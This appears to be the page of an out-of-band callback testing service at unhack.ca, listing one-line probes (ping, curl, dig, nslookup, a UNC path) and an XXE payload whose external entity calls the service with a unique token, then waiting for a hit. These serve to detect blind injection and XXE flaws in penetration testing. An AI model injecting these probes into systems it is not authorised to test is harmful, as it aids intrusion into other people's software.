$ ping -c1 -p 009c2ad111beaa94a26c2378ac3acc00 unhack.ca
$ curl http://unhack.ca/p/9c2ad111beaa94a26c2378ac3acc
$ dig 9c2ad111beaa94a26c2378ac3acc @unhack.ca
$ dig 9c2ad111beaa94a26c2378ac3acc.ns.unhack.ca
C:\> nslookup 9c2ad111beaa94a26c2378ac3acc unhack.ca
C:\> type \\unhack.ca\9c2ad111beaa94a26c2378ac3acc\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/9c2ad111beaa94a26c2378ac3acc">]>
<foo>&xxe;</foo>
Waiting for ping...